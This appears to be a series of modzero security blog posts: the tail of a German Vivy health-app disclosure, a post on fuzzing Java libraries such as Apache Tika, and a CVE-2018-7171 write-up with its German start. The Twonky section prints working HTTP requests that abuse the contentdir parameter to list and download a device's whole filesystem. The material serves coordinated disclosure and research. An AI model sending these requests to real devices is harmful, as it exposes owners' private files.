Daraufhin meldete modzero die Sicherheitslücken unverzüglich bei Vivy, um einen sogenannten "Coordinated Disclosure"-Prozess einzuleiten. In Abstimmung mit Vivy wurde nach initialem Kontakt am 21. September 2018 bis zum 30. Oktober 2018 Zeit eingeräumt, um die Sicherheitslücken zu beheben, bevor modzero einen Sicherheitsbericht veröffentlicht.
Die Veröffentlichung dieses Sicherheitsberichts soll die Öffentlichkeit dafür sensibilisieren, wie wichtig ein transparenter Entwicklungs- und Feedback-Prozess insbesondere im E-Health-Bereich ist.
Wie schwerwiegend sind die Probleme?
modzero stellte mehrere Sicherheitslücken verschiedener Kritikalität fest. Für eine ausführliche Beschreibung aller gefundenen Sicherheitsprobleme sei auf den Report [1] verwiesen.
Die kritischsten Punkte waren: Informationen darüber, wer wann mit welchem Arzt Gesundheitsdaten geteilt hatte, lagen ungeschützt für jeden lesbar im Netz. Versicherte konnten durch die Informations-Lecks anhand von Name, Foto, E-Mailadresse, Geburtsdatum und Versichertennummer identifiziert werden. Auch Name, Adresse und Fachrichtung des kontaktierten Arztes konnten ausgelesen werden. Unbefugte konnten über das Internet alle Dokumente, die an einen Arzt gesendet werden sollten, abfangen und entschlüsseln. Darüber hinaus fand modzero zahlreiche konzeptionelle Schwächen im Rahmen der Nutzung der RSA-Verschlüsselung und des Schlüssel-Managements. So konnten beispielsweise über trivial ausnutzbare Fehler in der Server-Anwendung die geheimen Schlüssel der Ärzte ausgelesen werden.
Wie geht es jetzt weiter?
Die Zusammenarbeit im Rahmen dieses Veröffentlichungs-Prozesses mit Vivy verlief positiv. modzero wurde zugesichert, geeignete Lösungen und Gegenmaßnahmen für die gefundenen Sicherheitsprobleme zu entwickeln. Ob diese tatsächlich vollumfänglich und auch wirksam umgesetzt wurden, hat modzero nicht geprüft und plant dies auch nicht. Den Anwendern wird empfohlen, Updates der Vivy-App zeitnah einzuspielen.
modzero steht derzeit in Kontakt mit einem weiteren Anbieter einer Gesundheits-App, da auch die Konkurrenz mit durchaus schwerwiegenden Sicherheitsproblemen zu kämpfen hat. Auch hier legt modzero zum Schutz der Daten betroffener Patienten Wert auf einen angemessenen Zeitraum zum Beheben der Probleme.
Weiterführende Informationen
modzero ist ein 2011 in Zürich gegründetes schweizer-deutsches IT-Sicherheits-Unternehmen. modzero berät Kunden vor und während der Entwicklung von sicherheitskritischen Anwendungen und bietet tiefgehende technische Analysen, insbesondere im Bereich kryptografischer Anwendungen.
Die Schwachstellen wurden von Martin Tschirsich gefunden und gemeinsam mit Thorsten Schröder im Bericht dokumentiert.
Detaillierte technische Informationen finden sich auf dem modzero-Blog [2] und im ausführlichen Bericht [1].
[0] https://www.vivy.com/sicherheit/
[1] Vivy Sicherheits-Bericht: https://www.modzero.ch/static/vivy-app-security-final.pdf
[2] Blog-Post zur Veröffentlichung auf dem Webserver von modzero: https://www.modzero.ch/modlog/archives/2018/10/30/sicherheitsm_aumlngel_in_e-health_anwendungen/index.html
[3] https://www.vivy.com/fileadmin/user_upload/007_presse/180918_Vivy_-_PM_September_final.pdf
2018-09-20
Java Bugs with and without Fuzzing
AFL-based Java fuzzers and the Java Security Manager
In the last half a year I have been doing some fuzzing with AFL-based Java fuzzers, namely Kelinci and JQF. I didn't really work with java-afl. The contents of this post are:- Brief explanation of AFL-based Java fuzzers
- First steps and explaination of how an uncaught exception in Apache Commons was found
- Explanation of the goals for Java fuzzing
- Using the Java Security Manager for fuzzing
- Targeting Apache Tika
- Apache Tika findings
- Fuzzing Apache Tika with Kelinci
- JQF and a bug in Java
- Adding a x86 fuzzing box
- Summary
AFL-based Java fuzzing tools
The AFL fuzzer is really popular nowadays as it performs instrumented fuzzing. If you are not familiar with AFL, it's probably better if you at least quickly look at AFL before you read this post. It is especially important to understand how AFL handles hangs (test cases that take too much time to process) and crashes (e.g. target program segfault).
Kelinci is one of the first AFL for Java implementations and is very promising, although the approach with having two processes per fuzzing instance is a little clumsy and can get confusing. One process is the native C side, which takes mutated inputs produced by AFL and sends them to the second process via TCP socket. The second process is the Java process that feeds the input to the target program and sends back the code paths taken with this input. There are certain error messages in the Java part of this fuzzer that are not always exactly clear (at least to me), but they seem to indicate that the fuzzer is not running in a healthy state anymore. However, so far Kelinci worked very well for me and came up with a lot of results. There has not been any development for 7 months, so I hope the author will pick it up again.
JQF is actively maintained and the last changes were commited a couple of days ago. It does not take the classic fuzzer approach that most fuzzers for security researchers take, but instead is based on Java Unit Tests and focuses more on developers. It currently has only limited support of AFL's -t switch for the timeout settings and there is also only rudimentary afl-cmin support. While this is perfect for developers using Unit Tests, it is not the most flexible fuzzer for security researchers fuzzing Java code.
java-afl has not been updated in four months. This is actually the fuzzer I didn't successfully use at all. I tried to ask the developer about how to run it properly, but didn't get an answer that would help me run it on the test case I had in mind. If you have better luck with java-afl, please let me know, it would be interesting to hear how this fuzzer performs.
First steps with Apache Commons
I started with the Apache Common's Imaging JPEG parser as a target. The choice was simple because it was one of the examples explained for the Kelinci fuzzer. Apache Commons is a very popular library for all kind of things that are missing or incomplete in the Java standard library. When going through the author's example, I realized that he gave the fuzzer only one input file containing the text "hello", which is not a JPEG file and not a very good starting corpus. While it's probably lcamtuf's very interesting experiment that makes people believe using such corpus data is a valid choice, it is not a valid choice for proper fuzzing runs. lcamtuf's experiment was good to proof the point that the fuzzer is smart, but for productive fuzzing proper input files have to be used to achieve good results. Fuzzing is all about corpus data in the end. So I took the JPEG files in lcamtuf's corpus on the AFL website and some files from my private collection. The fuzzer quickly turned up with an additional ArrayIndexOutOfBoundsException which I reported to Apache (file ArrayIndexOutOfBoundsException_DhtSegment_79.jpeg). That was quiet an easy start into Java fuzzing. If you would do the same for other parsers of Apache Commons (for example PNG parser), you would most probably find some more unchecked exceptions.
Goals: Taking a step back
After this quick experiment I gave the idea of fuzzing Java some more thoughts. Fuzzings is originally applied to programs that are not memory safe, hoping that we are able to find memory corruption issues. Out of bound read or writes in Java code simply do not result in memory corruption but in more or less harmless Exceptions such as IndexOutOfBoundsException. While it might be desirable to find (code robustness) issues and might result in Denial of Service issues, the severity of these issues is usually low. The question is what kind of behavior and fuzzing results are we looking for? There are different scenarios that might be of interest, but the attack vector (how does the attacker exploit the issue in the real world?) matters a lot when looking at them. Here is my rough (over)view on Java fuzzing:
- Finding bugs in the JVM.
- Arbitrary Java code as input. This could be helpful in more exotic scenarios, for example when you need to escape from a sandboxed JVM. In most other scenarios this attack vector is probably just unrealistic, as an attacker would be executing Java code already.
- Feeding data into built-in classes/functions (fuzzing the standard library), such as strings. This is not very likely to come up with results, but you never know, maybe there are Java deserialization vulnerabilities lurking deep in the JVM code?
- Finding low-severity or non-security issues such as code that throws an Exception it didn't declare to throw (RuntimeExceptions).
- Finding memory corruption bugs in Java code that uses native code (for example JNI or CNI). This is probably a very good place to use Java fuzzing, but I don't encounter this situation very much except in Android apps. And fuzzing Android apps is an entirely different beast that is not covered here.
- Fuzzing pure Java code.
- We could go for custom goals. This might depend on your business logic. For example, if the code heavily uses file read/writes maybe there is some kind of race condition? Also the idea of differential fuzzing for crypto libraries makes a lot of sense.
- Finding "ressource management" issues, such as Denial of Service (DoS) issues, OutOfMemoryExceptions, high CPU load, high disk space usage, or functions that never return.
- Finding low-severity or non-security issues such as RuntimeExceptions.
- Finding well-known security issues for Java code, such as Java deserialization vulnerabilities, Server Side Request Forgery (SSRF), and External Entity Injection (XXE).
Java Security Manager
After doing some research it turned out that there is nothing like a file whitelist sanitizer for native code where AFL is usually used. So if we would fuzz any C/C++ code we would have to write our own parser and as stated by Jakub Wilk it might be tricky to implement due to async-signal-safe filesystem functions. So if you feel like writing one, please go ahead.
Back to Java I found out that there is already such a sanitizer. The best part is that it's a built-in feature of the JVM and it's called Java Security Manager. Look at this simple Java Security Manager policy file I created for running the Kelinci fuzzer with our simple Apache Commons JPEG parsing code:
grant {
permission java.io.FilePermission "/tmp/*", "read,write,delete";
permission java.io.FilePermission "in_dir/*", "read";
permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/*", "read, write, delete";
permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/master/*", "read, write, delete";
permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/master0/*", "read, write, delete";
permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/master1/*", "read, write, delete";
permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/slave/*", "read, write, delete";
permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/slave0/*", "read, write, delete";
permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/slave1/*", "read, write, delete";
permission java.net.SocketPermission "localhost:7007-", "accept, listen, resolve";
permission java.lang.RuntimePermission "modifyThread";
};
All it does is allowing file access to the temporary directory, reading from the input directory (in_dir) and writing to the output directory (out_dir) of AFL. Moreover, it allows the Kelinci Java process to listen on TCP port 7007 as well as to modify other threads. As the Security Manager is built into every Java JVM, you can simply start it with your usual command line with two more arguments:
java -Djava.security.manager -Djava.security.policy=java-security-policy.txt
So in our case we can run the Kelinci fuzzer server process with:
java -Djava.security.manager -Djava.security.policy=java-security-policy.txt -Djava.io.tmpdir=/tmp/ -cp bin-instrumented:commons-imaging-1.0-instrumented.jar edu.cmu.sv.kelinci.Kelinci driver.Driver @@
I went back and ran the Kelinci fuzzer some more hours on the Apache Commons JPEG parser without getting any new results with the Java Security Manager. However, at this point I was convinced that the Java Security Manager would take Java fuzzing to the next level. I just needed a different target first.
Targeting Apache Tika
Fast forward several days later, I stumbled over the Apache Tika project. As Apache Tika was formerly part of Apache Lucene, I was convinced that a lot of servers on the Internet would allow users to upload arbitrary files to be parsed by Apache Tika. As I'm currently maintaining another related research about web based file upload functionalities (UploadScanner Burp extension) this got me even more interested.
Apache Tika is a content analysis toolkit and can extract text content from over a thousand different file formats. A quick'n'dirty grep-estimate turned out that it has about 247 Java JAR files as dependencies at compile time. Apache Tika also had some severe security issues in the past. So as a test target Apache Tika seemed to fit perfectly. On the other hand I also knew that using such a big code base is a bad idea when fuzzing with AFL. AFL will more or less quickly deplete the fuzzing bitmap when the instrumented code is too large. Afterwards, AFL will be unable to detect when an input results in an interesting code path being taken. I was also not sure if I could successfully use the Java fuzzers to instrument the huge Apache Tika project. However, I decided to go on with this experiment.
I first tried to get things running with Kelinci, but ran into multiple issues and ended up creating a "works-for-me" Kelinci fork. After Kelinci was running, I also tried to get the JQF fuzzer running, however, I ran into similar but distinct problems and therefore decided to stick with Kelinci at this point. For Tika I had to adopt the Java Security Manager Policy:
grant {
//Permissions required by Kelinci
permission java.lang.RuntimePermission "modifyThread";
permission java.net.SocketPermission "localhost:7007", "listen, resolve";
permission java.net.SocketPermission "localhost:7008", "listen, resolve";
permission java.net.SocketPermission "localhost:7009", "listen, resolve";
permission java.net.SocketPermission "localhost:7010", "listen, resolve";
permission java.net.SocketPermission "[0:0:0:0:0:0:0:1]:*", "accept, resolve";
permission java.io.FilePermission "in_dir/*", "read";
permission java.io.FilePermission "corpus/*", "read, write";
permission java.io.FilePermission "crashes/*", "read";
permission java.io.FilePermission "out_dir/*", "read, write";
//Permissions required by Tika
permission java.io.FilePermission "tika-app-1.17.jar", "read";
permission java.io.FilePermission "tika-app-1.17-instrumented.jar", "read";
permission java.io.FilePermission "/tmp/*", "read, write, delete";
permission java.lang.RuntimePermission "getenv.TIKA_CONFIG";
permission java.util.PropertyPermission "org.apache.tika.service.error.warn", "read";
permission java.util.PropertyPermission "tika.config", "read";
permission java.util.PropertyPermission "tika.custom-mimetypes", "read";
permission java.util.PropertyPermission "org.apache.pdfbox.pdfparser.nonSequentialPDFParser.eofLookupRange", "read";
permission java.util.PropertyPermission "org.apache.pdfbox.forceParsing", "read";
permission java.util.PropertyPermission "pdfbox.fontcache", "read";
permission java.util.PropertyPermission "file.encoding", "read";
//When parsing certain PDFs...
permission java.util.PropertyPermission "user.home", "read";
permission java.util.PropertyPermission "com.ctc.wstx.returnNullForDefaultNamespace", "read";
//When parsing certain .mdb files...
permission java.util.PropertyPermission "com.healthmarketscience.jackcess.resourcePath", "read";
permission java.util.PropertyPermission "com.healthmarketscience.jackcess.brokenNio", "read";
permission java.util.PropertyPermission "com.healthmarketscience.jackcess.charset.VERSION_3", "read";
permission java.util.PropertyPermission "com.healthmarketscience.jackcess.columnOrder", "read";
permission java.util.PropertyPermission "com.healthmarketscience.jackcess.enforceForeignKeys", "read";
permission java.util.PropertyPermission "com.healthmarketscience.jackcess.allowAutoNumberInsert", "read";
permission java.util.PropertyPermission "com.healthmarketscience.jackcess.timeZone", "read";
};
To produce this policy file manually was much more annoying than for Apache Commons. The reason is that the necessary permissions we need to whitelist depend on the input file. So if a PNG file is fed into Apache Tika, it will need other runtime property permissions than if a PDF file is fed into Apache Tika. This means that we have to do a dry run first that will go through the entire input corpus of files and run them once with the minimum policy file. If a security exception occurs, it might be necessary to whitelist another permission. This process takes a lot of time. However, as an article from 2004 states:
There's currently no tool available to automatically generate a [Java security] policy file for specific code.So that's why I wrote another quick'n'dirty hack/tool to generate Java security policy files. As it's not a beauty I gave it the ugly name TMSJSPGE on github. However, it does it's job and generates a Java security policy file. It will feed each corpus file to the target process (Tika in this case) and add a new rule to the security policy.
If you look at the above property permissions, I'm still not sure what they are all doing. However, I just decided I'll go with them and allow Tika to use them.
If you run your fuzzer with different input files, you might be required to adopt the Java Security policy, as other code paths might require new permissions. So the above security policy for Apache Tika is likely to be incomplete.
Apache Tika findings
As already explained, a good input corpus is vital for a successful fuzzing run. Additionally, I had to run Tika with as many files as possible to make sure the Java Security Policy covered most permissions necessary. Over the years I've collected many input sample files (around 100'000) by doing fuzzing runs with various libraries and by collecting third-party files (that's actually a topic for another day). So I decided I will run the TMSJSPGE tool with each of these 100'000 files to create the best Security Policy I can. When I checked back on the TMSJSPGE I saw that the tool was stuck feeding a certain file to Apache Tika. This means that Apache Tika never returned a result and the process hung. And that meant I already found security issues in Apache Tika 1.17 before I even started fuzzing. After removing the file that resulted in a hang and restarting TMSJSPGE, Apache Tika hung with several other files as well. Some of the files triggered the same hang and after deduplicating, the following two security issues were reported to Apache Tika:
- CVE-2018-1338 - DoS (Infinite Loop) Vulnerability in Apache Tika's BPGParser (file 3_hang_and_uncaught_TiffProcessingException.bpg), where the code simply never returned.
- CVE-2018-1339 - DoS (Infinite Loop) Vulnerability in Apache Tika's ChmParser (file 1_100_percent_cpu_dos.chm), which also used 100% CPU during this infinite loop.
I was wondering where these input files I had in my collection were coming from. Several BPG files triggering the issue were from a fuzzing run I once did for libbpg, so they were produced by AFL when creating BPG files for a native library. But the chm file triggering the other issue was a file that I downloaded a long time ago from the fuzzing project. It was a file Hanno Böck provided that came out of a fuzzing run for CHMLib. Interesting.
So here I was and had already found an uncaught exception in Apache Commons and two low severity issues in Apache Tika without even starting to do proper fuzzing.
To get an idea of the Java classes causing the issue I ran Apache Tika with a debugger and the triggering file, stopped the execution during the infinite loop and printed a stack trace. But most of the hard work to figure out the actual root causes of these issues was done by the maintainers, most importantly by Tim Allison and the Apache Tika team. That is also true for all the upcoming issues.
Fuzzing Apache Tika with Kelinci
After sorting out the input files that resulted in a hang, I started a couple of afl-fuzz fuzzing instances and waited. The behavior of the Kelinci fuzzer is sometimes a little brittle, so I often got the "Queue full" error message. It means the fuzzer is not running properly anymore and that timeouts will occur. I had to restart the fuzzing instances several times and tried to tweak the command line settings to improve stability. However, over time the instances often managed to fill up the queue again. Anyway, a couple of instances ran fine and found several "AFL crashes". Keep in mind that "AFL crashes" in this case just mean uncaught Java exceptions. After looking through and deduplicating issues, I reported the following non-security (or very low severity, a matter of definition) issues to the maintainers of the libraries used by Apache Tika:
- Two independent StackOverflowException issues in Apache PDFBOX to parse PDF files (files 5_uncaught_stackoverflow_checkPagesDictionary.pdf and 6_uncaught_stackoverflow_getInheritableAttribute.pdf)
- An ArrayIndexOutOfBoundsException in Apache Commons ZipFile to parse zip files (files 7_uncaught_ArrayIndexOutOfBoundsException_1.zip and 7_uncaught_ArrayIndexOutOfBoundsException_2.zip)
- An IllegalArgumentException in Gagravarr VorbisJava to parse ogg files (files 8_uncaught_IllegalArgumentException_Skeleton.ogv and 9_uncaught_IllegalArgumentException_ogg_page.ogv)
The hang directory of AFL did not show any interesting results. After running each of the files in the hang directory with Apache Tika I found a PDF file that took nearly a minute to process, but none of the files lead to a full hang of the Tika thread. I suspect that the synchronization of the two processes was one of the reasons no infinite hangs were found by the fuzzer.
However, at this stage I was most disappointed that none of the crashes indicated that anything outside of the specified Java Security Manager policy was triggered. I guess this was a combination of my brittle configuration of Kelinci and the fact that it is probably not as easy to find arbitrary file read or write issues. But in the end you often simply don't know what's exactly the reason for not being successful with fuzzing.
JQF and a bug in Java
At one point I also wanted to try the JQF fuzzer on my ARM fuzzing machines with Apache Tika. It didn't work for me at first and I found out that OpenJDK on ARM had horrible performance with JQF, so I switched to Oracle's Java. Additionally, Apache Tika would simply not run with JQF. After the Tika 1.17 issues were fixed in Apache Tika I thought it was time to notify the maintainers of the fuzzers, so they could try to fuzz Apache Tika themselves. Rohan (maintainer of JQF) quickly fixed three independent issues and implemented a test case/benchmark for the fixed Tika 1.18 in JQF. After that I was able to fuzz Tika with my own corpus, but the performance was very bad for various reasons. One reason was the weak ARM boxes, but JQF couldn't handle timeouts either (AFL's -t switch). Rohan attempted a fix, but it's only working sometimes. Rohan was also very quick to implement afl-cmin and said running with a Java Security Manager policy should be no problem. However, I couldn't try those features properly due to the performance problems on the ARM machines. As I was not in the mood to switch fuzzing boxes, I just tried to get the fuzzer running somehow. After cutting down the input corpus and removing all PDF files that were taking potentially longer to be processed by Apache Tika, the fuzzer crept slowly forward. After not paying attention for 10 days, another hang was found by JQF in Apache Tika 1.18... I thought! However, after submitting this bug to Apache Tika, they pointed out that this was actually a bug in the Java standard libraries affecting Java before version 10 that I rediscovered:
- Endless loop in RiffReader (file 10_hang.riff), where the code simply never returned. Unfortunately Java/Oracle never assigned a CVE for this. So Tim Allison from Apache Tika asked them to assign one, after 3 months and an endless stream of status update emails with no content we are still waiting for a CVE number. As this is not fixed in Java 8, Tim Allison also mitigated it on the Apache Tika side.
The hang file was created by the JQF fuzzer by modifying a sample QCP file "fart_3.qcp" from the public ffmpeg samples. So without actively targeting Java itself, I had rediscovered a bug in Java's standard libraries, as Tika used it. Quite an interesting twist.
Adding a x86 fuzzing box
At the same time I also realized that these ARM JQF fuzzer instances were stuck. The endless RIFF loop file was detected as a crash (which might just be bad behavior of JQF for hangs), so I didn't really know the reason why they were stuck currently. I tried to run the current input file on another machine, but the testcase didn't hang. So I didn't figure out why the fuzzer got stuck, but as Rohan pointed out the timeout handling (AFL's "hangs") isn't optimal yet. JQF will detect timeouts when the infinite loop hits instrumented part of the Java code, as it will be able to measure the time that passed. However, JQF will hang for now if a test file makes the code loop forever in non-instrumented code. I removed all RIFF/QCP input files so hopefully I wouldn't rediscover the RIFF endless loop bug again (I never switched to Java 10) and restarted the fuzzing instances.
I decided to additionally use a 32bit x86 VMWare fuzzing box, maybe it would run more stable there. I setup JQF with Java 8 again and without RIFF files as inputs. The x86 virtual machine performed much better, executing around 10 testcases per second. So I let these instances run for several days... just to realize when I came back that both instances got stuck after 7 hours of running. I checked again if the current input file could be the reason and this time this was exactly the problem, so another bug. Rinse and repeat, the next morning another bug. So after a while (at least 5 iterations) I had a bag full of bugs:
- An endless loop in Junrar (file 11_hang_junrar_zero_header2.rar), where the code simply never returned when the rar header size is zero. I contacted one of the maintainers, beothorn. It was fixed and this issue ended up as CVE-2018-12418.
- Infinite loop in Apache Tika's IptcAnpaParser for handling IPTC metadata (file 12_hang_tika_iptc.iptc), where the code simply never returned. This was fixed and assigned CVE-2018-8017.
- Infinite loop in Apache PDFbox' AdobeFontMetricsParser (file 16_570s_fontbox_OOM.afm), after nearly 10 minutes (on my machine) leading to an out of memory situation. This was fixed and assigned CVE-2018-8036.
- An issue when a specially crafted zip content is read with Apache Commons Compress (file 14_69s_tagsoup_HTMLScanner_oom.zip) that leads to an out of memory exception. This was fixed in Apache Commons Compress and CVE-2018-11771 was assigned. Another zip file created (file 15_680s_commons_IOE_push_back_buffer_full.zip) runs for 11 minutes (on my machine) leading to IOException with a message that the push back buffer is full and is probably related to the issue. Also probably the same issue is a file where Tika takes an arbitrary amount of time (during the tests between 20 seconds and 11 minutes) to process a zip file (file 13_48s_commons_truncated_zip_entry3.zip). This last one is worth a note as JQF correctly detected this as a hang and put it in AFL's hang directory. The underlying problem of CVE-2018-11771 was that a read operation started to return alternating values of -1 and 345 when called by an InputStreamReader with UTF-16. The minimal code to reproduce is:
@Test
public void testMarkResetLoop() throws Exception {
InputStream is = Files.newInputStream(Paths.get("C:/14_69s_tagsoup_HTMLScanner_oom.zip"));
ZipArchiveInputStream archive = new ZipArchiveInputStream(is);
ZipArchiveEntry entry = archive.getNextZipEntry();
while (entry != null) {
if (entry.getName().contains("one*line-with-eol.txt")) {
Reader r = new InputStreamReader(archive, StandardCharsets.UTF_16LE);
int i = r.read();
int cnt = 0;
while (i != -1) {
if (cnt++ > 100000) {
throw new RuntimeException("Infinite loop detected...");
}
i = r.read();
}
}
entry = archive.getNextZipEntry();
}
}
After all these fixes I ran the fuzzer again on a nightly build of Apache Tika 1.19 and it didn't find any new issues in more than 10 days. So my approach of fuzzing Tika seems to be exhausted. As always, it doesn't mean another approach wouldn't find new issues.
Summary
This is where I stopped my journey of Java fuzzing for now. I was a little disappointed that the approach with the Java Security Manager still did not find any security issues such as SSRF and that I only found ressource management issues. However, I'm pretty sure this strategy is still the way to go, it probably just needs other targets. As you can see there are loose ends everywhere and I'm definitely planning to go back to Java fuzzing:
- Use Kelinci/JQF with other Apache Commons parsers, e.g. for PNG
- Write sanitizers such as file or socket opening for native code AFL
- Contribute to the AFL-based Java fuzzers
However, for now there are other things to break on my stack.
I would like to thank Tim Allison of the Apache Tika project, it was a pleasure to do coordinated disclosure with him. And also a big thanks to Rohan Padhye who was really quick implementing new features in JQF.
Make sure you add the files included on https://github.com/modzero/mod0javaFuzzingResults to your input corpus collection, as we saw it's worth having a collection of crashes for other libraries when targeting new libraries.
2018-06-06
[EN] Sharing Is Caring - A CVE-2018-7171 Round-up
When your NAS shares the pictures of your vacation with the Internet
This blog post describes the vulnerability CVE-2018-7171 in TwonkyMedia Server version 7.0.11-8.5, which is e.g. installed on WD MyCloud devices. The vulnerability allows the listing of all files stored on the device, which is running the TwonkyMedia Server. Furthermore, an attacker who takes advantage of the vulnerability can download all media files e.g. pictures, videos and music that are stored on the device and on connected USB drives. The root cause of the vulnerability is the missing authorization and input validation of configuration parameters in the Twonky Media Server.
"With Twonky from Lynx Technology, you can quickly discover your media libraries of digital videos, photos and music in your home, control them from mobile devices, and enjoy them on connected screens and speakers.Twonky Server is the industry leading DLNA/UPnP Media Server from Lynx Technology that enables sharing media content between connected devices. Twonky Server is used worldwide and is available as a standalone server (end user installable, e.g. for PCs/Macs) or an embedded server for devices such as NAS, routers/gateways and STBs.Twonky Server's web UI provides optimal capability for you to easily and reliably control and play back your media files in a variety of ways, and to "beam" those media files to other connected devices." --Extract TwonkyMedia Server
According to the distributors statement, TwonkyMedia Server will index and play media files. The indexed files can be "streamed" to other connected network devices, this means other network devices can download and play these files.
TwonkyMedia Server is pre-installed on many devices. Furthermore, a lot of routers automatically forward the DLNA-media streaming port, in this case port 9000, therefore that port is accessible via the internet. Researches on shodan.io showed, that in January 2018 around 24'000 TwonkyMedia Server-Instances were public accessible where. Only around three percent of these installations were password protected against unauthenticated access.
The following extract shows devices, that were running TwonkyMedia Server:
- Thecus N2310
- Thecus N4560
- WDMyCloud
- MyCloudEX2Ultra
- WDMyCloudEX4
- WDMyCloudEX2100
- QNAP
- Zyxel NAS326
- Zyxel NAS542
- Zyxel NSA310
- Zyxel NSA310S
- Zyxel NSA320
- Zyxel NSA325-v2
- Belkin routers
- Zyxel EMG2926-Q10A
- ...
To better understand how the TwonkyMedia Server works, the traffic was intercepted with Burp Suite. The researcher discovered, that not only directory names, but also file names were returned in the server’s responses, but they were not shown in the UI.
The following HTTP-sequence shows such a request and the response of the TwonkyMedia Server.
HTTP request:
GET /rpc/dir?path= HTTP/1.1 Host: 192.168.188.9:9000 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: */* Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.188.9:9000/ X-Requested-With: XMLHttpRequest Connection: close
HTTP response:
HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Content-Language: en Content-Length: 83 Date: Thu, 18 Jan 2018 12:16:43 GMT Accept-Ranges: bytes Connection: close Expires: 0 Pragma: no-cache Cache-Control: no-cache EXT: Server: Linux/2.x.x, UPnP/1.0, pvConnect UPnP SDK/1.0, Twonky UPnP SDK/1.1 / 001DNas_Prog 002DPublic 003Fraid_version.txt 004DSmartWare 005DTimeMachineBackup
The example shows, that the TwonkyMedia Server only responded with the shared folder structure, that was defined in the NAS. Furthermore, the download of all media files indexed in these directories is possible (see TrustWave - WD-My-Cloud-EX2-Serves-Your-Files-to-Anyone)
A HTTP request on the following URL returns all configurable parameters for TwonkyMedia Server:
This list contains some parameters that are not configurable by the TwonkyMedia Server UI. What happens if we try to manipulate them anyway?
If you set the parameter contentdir to "/../" you can discover the whole file systems content.
HTTP request:
POST /rpc/set_all HTTP/1.1 Host: 192.168.188.9:9000 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.188.9:9000/ Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Content-Length: 19 DNT: 1 Connection: close contentdir=/../
The following example shows the response after the contentdir parameter patch:
HTTP request:
GET /rpc/dir?path= HTTP/1.1 Host: 192.168.188.9:9000 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.188.9:9000/ X-Requested-With: XMLHttpRequest DNT: 1 Connection: close
HTTP response:
HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Content-Language: de Content-Length: 243 Date: Wed, 28 Mar 2018 02:28:12 GMT Accept-Ranges: bytes Connection: close Expires: 0 Pragma: no-cache Cache-Control: no-cache EXT: Server: Linux/2.x.x, UPnP/1.0, pvConnect UPnP SDK/1.0, Twonky UPnP SDK/1.1 / 001D/ 002D/bin 003D/boot 004D/CacheVolume 005D/DataVolume 006D/dev 007D/etc 008D/home 009D/lib 010D/media 011D/mnt 012D/nfs 013D/opt 014D/proc 015D/root 016D/run 017D/sbin 018D/shares 019D/srv 020D/sys 021D/system 022D/tmp 023D/usr 024D/var
After patching the contentdir parameter, you can go to TwonkyMedia Server configuration, here you can choose every folder available on the filesystem for indexing the media files. Once the media files are indexed (can be triggered manually, or just wait a couple of minutes) you can download the content.
For patching the contentdir parameter and filesystem discovery this Proof-of-Concept can be used. The repository also contains a batch download script
If an attacker takes advantage of this vulnerability he/she can not only dig deep into the privacy of his target but may also use this vulnerability to mount further attacks on the target system. For example, this information can be used to attack and maybe take over the device via other services, e.g. webservers.
If your device is running TwonkyMedia Server version 7.0.11-8.5, you should consider your media content as no longer private. You can easily check if your device is running the service by browsing the following URL in your favorite web browser http://deviceIP:9000/. Since TwonkyMedia Server sometimes use other ports than 9000 here is a list of other discovered ports: 9000, 9001, 9002, 9003, 9004 and 9005. Sometimes the TwonkyMedia Server installation uses HTTPS, so you have to set the protocol to https, e.g. https://deviceIP:9002. You may want to check if your TwonkyMedia Server is exposed in the Internet, you can easily find your public ip by browsing http://ipinfo.io/ip. Replace deviceIP from the previous example with your public IP.
modzero recommends protecting TwonkyMedia Server installation with a password, or to switch of DLNA-media streaming if you don't need this feature. For detailed information on how to switch of DLNA-media streaming please contact the device manufacturer.
2018-06-04
Sharing Is Caring - Ein CVE-2018-7171 Round-up
Wenn die Festplatte im Heimnetz die Urlaubsbilder mit dem Internet teilt
Dieser Blog-Eintrag behandelt die Schwachstelle CVE-2018-7171 im TwonkyMedia Server Versionen 7.0.11-8.5, welcher beispielsweise auf WD MyCloud-Geräten vorinstalliert ist. Diese ermöglicht das Auflisten aller auf den Geräten vorhandenen Dateien und Ordnern. Darüber hinaus ist es einem Angreifer nach dem Ausnützen der Schwachstelle möglich alle Mediendateien (Fotos, Videos und Musik) von den betroffenen Geräten und angeschlossener Peripherie (externe Festplatten, USB-Sticks, ...) herunterzuladen. Ursache für die Schwachstelle ist die fehlende Authorisierung und Eingabevalidierung beim Setzen der Konfigurationsparameter für den sogenannten TwonkyMedia Server.
"With Twonky from Lynx Technology, you can quickly discover your media libraries of digital videos, photos and music in your home, control them from mobile devices, and enjoy them on connected screens and speakers.Twonky Server is the industry leading DLNA/UPnP Media Server from Lynx Technology that enables sharing media content between connected devices. Twonky Server is used worldwide and is available as a standalone server (end user installable, e.g. for PCs/Macs) or an embedded server for devices such as NAS, routers/gateways and STBs.Twonky Server's web UI provides optimal capability for you to easily and reliably control and play back your media files in a variety of ways, and to "beam" those media files to other connected devices." --Auszug TwonkyMedia Server
Wie der Aussage des Hertstellers entnommen werden kann, dient der TwonkyMedia Server der Indexierung und Wiedergabe von Mediendateien. Diese können im Netzwerk "gebeamt" werden, sprich andere Netzwerkteilnehmer können diese auch wiedergeben oder downloaden.
